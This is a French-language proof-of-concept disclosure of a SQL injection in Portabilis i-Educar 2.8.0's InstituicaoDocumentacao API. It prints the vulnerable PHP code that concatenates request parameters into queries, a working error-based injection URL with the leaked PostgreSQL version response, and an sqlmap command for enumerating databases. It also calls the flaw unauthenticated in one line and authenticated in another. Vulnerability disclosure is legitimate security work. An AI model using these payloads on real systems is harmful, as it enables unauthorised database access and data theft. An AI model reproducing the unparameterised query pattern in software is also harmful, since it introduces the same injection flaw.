
Preuve de concept pour l'injection SQL dans Portabilis i-Educar 2.8.0, démontrant l'accès non authentifié à la base de données via le point de terminaison getDocuments avec exploitation automatisée à l'aide de SQLMap.
Description : Un utilisateur authentifié peut exploiter une vulnérabilité d'injection SQL présente dans la fonction
getDocumentsde la classeInstituicaoDocumentacaoController. Le paramètreinstituicao_iddans/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_idn'est pas correctement assaini, ce qui permet à un attaquant distant authentifié d'injecter des commandes SQL malveillantes.
Versions : Découverte dans Portabilis i-Educar 2.8.0.
Le problème est présent dans la fonction getDocuments de la classe InstituicaoDocumentacaoController, et peut être déclenché via le point de terminaison suivant :
class InstituicaoDocumentacaoController extends ApiCoreController
{
protected function insertDocuments()
{
$var1 = $this->getRequest()->instituicao_id;
$var2 = $this->getRequest()->titulo_documento;
$var3 = $this->getRequest()->url_documento;
$var4 = $this->getRequest()->ref_usuario_cad;
$var5 = $this->getRequest()->ref_cod_escola;
$sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
$this->fetchPreparedQuery($sql);
$sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
$novoId = $this->fetchPreparedQuery($sql);
return ['id' => $novoId[0][0]];
}
protected function getDocuments()
{
$var1 = $this->getRequest()->instituicao_id;
$sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
$instituicao = $this->fetchPreparedQuery($sql);
$attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
$instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
return ['documentos' => $instituicao];
}
}
Le paramètre instituicao_id est utilisé directement dans les requêtes SQL sans assainissement ni paramétrage appropriés. Cela permet aux attaquants d'envoyer des requêtes HTTP malveillantes afin d'injecter des commandes SQL, ce qui peut potentiellement conduire à un accès non autorisé à la base de données ou à la manipulation de données.
/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1{
"oper": "get",
"resource": "getDocuments",
"msgs": [
{
"msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
"type": "error"
}
],
"any_error_msg": true
}
sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5